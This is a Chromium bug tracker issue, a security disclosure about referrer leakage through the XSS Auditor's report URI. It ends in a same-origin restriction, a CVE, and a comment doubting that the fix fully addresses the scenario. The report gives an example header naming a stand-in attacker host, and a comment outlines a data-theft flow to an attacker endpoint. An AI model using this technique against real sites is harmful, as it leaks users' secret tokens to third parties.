New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 2 users

Issue metadata

Status: Fixed
Owner:
Closed: Feb 14
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Mac
Pri: 1
Type: Bug-Security
Nag


Show other hotlists

Hotlists containing this issue:
EnamelAndFriendsFixIt


Sign in to add a comment

referrer leakage with XSS Auditor page block

Reported by antonio....@gmail.com, Dec 11 2014

Issue description

UserAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0

Steps to reproduce the problem:
The issue I would like to report is pretty much identical to the  issue 173906  [0].
The main difference is though the usage of the report feature of the XSS Auditor.
So in this case the referrer is leaked not due the forced redirected to about:blank but from the fact the Mallory page set

X-XSS-Protection= 1; mode=block;report=http://attacker.

The inner iframe has then the "considered" evil state and the XSS Auditor page blocks the inner iframe.
The "bad news" is that the referrer sent to the report URI is not the one from the parent/page but the one from the inner iframe.... In this way the attacker just receives the token in the referrer when the XSS Auditor post to the report uri http://attacker in this case

[0] https://code.google.com/p/chromium/issues/detail?id=173906&thanks=173906&ts=1359905183

What is the expected behavior?

What went wrong?
The referrer is leaked

Did this work before? N/A 

Chrome version: <Copy from: 'about:version'>  Channel: n/a
OS Version: OS X 10.9
Flash Version: Shockwave Flash 15.0 r0
 
chrome version used is Version 39.0.2171.95 (64-bit)

Comment 2 by tsepez@chromium.org, Dec 11 2014

Cc: mkwst@chromium.org
Labels: Security_Impact-Stable Security_Severity-Medium
Owner: tsepez@chromium.org
Status: Assigned

Comment 3 by tsepez@chromium.org, Dec 11 2014

Labels: M-41
Project Member

Comment 4 by ClusterFuzz, Dec 11 2014

Labels: -Pri-2 Pri-1
Project Member

Comment 5 by ClusterFuzz, Jan 2 2015

Labels: Nag
tsepez@: Uh oh! This issue is still open and hasn't been updated in the last 21 days. Since this is a serious security vulnerability, we want to make sure progress is happening. Can you update the bug with current status, and what, if anything, is blocking?

If you are not the right Owner for this bug, please find someone else to own it as soon as possible and remove yourself as Owner.

If the issue is already fixed or you are to unable to reproduce it, please close the bug. (And thanks for fixing the bug!).

These nags can be disabled by adding a 'WIP' label and an optional codereview link.

- Your friendly ClusterFuzz
Project Member

Comment 6 by ClusterFuzz, Jan 23 2015

tsepez@: Uh oh! This issue is still open and hasn't been updated in the last 42 days. Since this is a serious security vulnerability, we want to make sure progress is happening. Can you update the bug with current status, and what, if anything, is blocking?

If you are not the right Owner for this bug, please find someone else to own it as soon as possible and remove yourself as Owner.

If the issue is already fixed or you are to unable to reproduce it, please close the bug. (And thanks for fixing the bug!).

These nags can be disabled by adding a 'WIP' label and an optional codereview link.

- Your friendly ClusterFuzz

Comment 7 by tsepez@chromium.org, Jan 23 2015

Mike, this probably implies that we should put a same-origin restriction on the report URL.  We'd discussed this in the past -- thoughts?  Or do you think this is a ping loader bug?
Cc: timwillis@chromium.org
Hey Mike - can you please address Tom's comment at #7 when you get a moment? Thanks.

Comment 9 by jsc...@chromium.org, Feb 13 2015

Labels: -Security_Severity-Medium Security_Severity-Low
Given the exhaustive severity debate on this last time, it should really be low.
Project Member

Comment 10 by ClusterFuzz, Apr 3 2015

Labels: -M-41 M-42
Project Member

Comment 11 by ClusterFuzz, May 15 2015

Labels: -M-42 M-43
Labels: Cr-Blink-SecurityFeature
Project Member

Comment 13 by ClusterFuzz, Jul 10 2015

Labels: -M-43 M-44
Project Member

Comment 14 by ClusterFuzz, Aug 21 2015

Labels: -M-44 M-45
Project Member

Comment 15 by ClusterFuzz, Oct 2 2015

Labels: -M-45 M-46
please ignore 
Project Member

Comment 17 by ClusterFuzz, Nov 13 2015

Labels: -M-46 M-47
Project Member

Comment 18 by ClusterFuzz, Jan 15 2016

Labels: -M-47 M-48
Project Member

Comment 19 by ClusterFuzz, Mar 3 2016

Labels: -M-48 M-49
Project Member

Comment 20 by sheriffbot@chromium.org, Apr 14 2016

Labels: -M-49 M-50
Project Member

Comment 21 by sheriffbot@chromium.org, May 26 2016

Labels: -M-50 M-51
Project Member

Comment 22 by sheriffbot@chromium.org, Jul 21 2016

Labels: -M-51 M-52
Cc: -timwillis@chromium.org jsc...@chromium.org
tsepez/jschuh: this has been around for 1.5 years with no activity. Is this still a valid bug? Is it something we will ever fix? Should we archive it?
Yes, we should restrict the report= URL to same-origin.  We talked about this one time but never did.  Thanks for the ping.
Project Member

Comment 25 by sheriffbot@chromium.org, Sep 1 2016

Labels: -M-52 M-53
Project Member

Comment 26 by sheriffbot@chromium.org, Oct 13 2016

Labels: -M-53 M-54
Project Member

Comment 27 by sheriffbot@chromium.org, Dec 2 2016

Labels: -M-54 M-55
Project Member

Comment 28 by sheriffbot@chromium.org, Jan 26 2017

Labels: -M-55 M-56
Project Member

Comment 29 by sheriffbot@chromium.org, Mar 10 2017

Labels: -M-56 M-57
Project Member

Comment 30 by sheriffbot@chromium.org, Apr 20 2017

Labels: -M-57 M-58
Project Member

Comment 31 by sheriffbot@chromium.org, Jun 6 2017

Labels: -M-58 M-59
Project Member

Comment 32 by sheriffbot@chromium.org, Jul 26 2017

Labels: -M-59 M-60
Project Member

Comment 33 by sheriffbot@chromium.org, Sep 6 2017

Labels: -M-60 M-61
Project Member

Comment 34 by sheriffbot@chromium.org, Oct 18 2017

Labels: -M-61 M-62
Labels: Hotlist-EnamelAndFriendsFixIt
Cc: tsepez@chromium.org
Owner: jochen@chromium.org
Status: Fixed (was: Assigned)
Project Member

Comment 38 by sheriffbot@chromium.org, Nov 15 2017

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Labels: reward-topanel
Labels: -reward-topanel reward-0
Labels: -M-62 M-64
Labels: Release-0-M64
Labels: CVE-2018-6051
Cc: scott.he...@gmail.com
There's no repro file in the original report so it's hard to understand what was actually reported here. 

However, it's not clear to me that the same-origin restriction we landed actually fixes anything in this attack scenario.

Based on the claim that this is similar to  Issue 173906 , the attack described *seems* to be:

Outer frame: Attacker.com/attack.html?data=fakereflection
Inner frame:  Victim.com/redirectoasecret

The attack.html frame contains an XSS Auditor policy with a report URI of Attacker.com/StealData.php.

The attacker navigates to attacker.com with a "fakereflection" URL parameter that is a string of data likely to be found on Victim.com. The victim.com/redirectoasecret inner frame navigates to a page with a "secret" in the URL whose HTML contains the string found in the outer "fake" URL parameter. The XSS Auditor sees the text that looks like it may have been reflected and sends an XSS Auditor violation report to the reporting endpoint. That violation report contains the "secret" from the victim page. But the reporting endpoint is Attacker.com.
Owner: tsepez@chromium.org
Status: Assigned (was: Fixed)
It would surprise me a lot if we were applying the `fakereflection` check from the top-level URL against the inner frame's contents, and I agree that that would be bad and completely unaddressed by this patch.

It doesn't look like it could happen based on skimming the code, and I haven't been able to make it happen with youtube embeds. Tom, WDYT? Is this a possible vector given ~4 years of intervening refactorings?
Status: Fixed (was: Assigned)
I don't think there is any more actionable information here.
Labels: CVE_description-missing
Project Member

Comment 49 by sheriffbot@chromium.org, May 24

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment